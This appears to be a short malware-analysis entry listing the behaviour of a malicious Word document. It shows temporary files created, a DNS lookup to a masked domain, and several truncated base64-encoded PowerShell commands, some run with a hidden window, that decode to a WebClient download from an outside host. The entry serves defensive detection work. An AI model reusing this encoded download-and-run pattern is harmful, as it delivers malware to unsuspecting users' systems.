Technical Information
- '<SYSTEM32>\cmd.exe' /c poWerShelL.exe -ec KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwBpAHoAegBsAGUAYgB1AHQAYQB...
- <Current directory>\~wrd0000.tmp
- <Current directory>\~wrd0001.tmp
- <Current directory>\~wrd0000.tmp
- <PATH_SAMPLE>.doc
- DNS ASK iz###butas.com
- '<SYSTEM32>\cmd.exe' /c poWerShelL.exe -ec KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwBpAHoAegBsAGUAYgB1AHQAYQB...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ec KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwBpAHoAegBsAGUAYgB1AHQAYQBzAC4AYwBvAG0ALwB0A...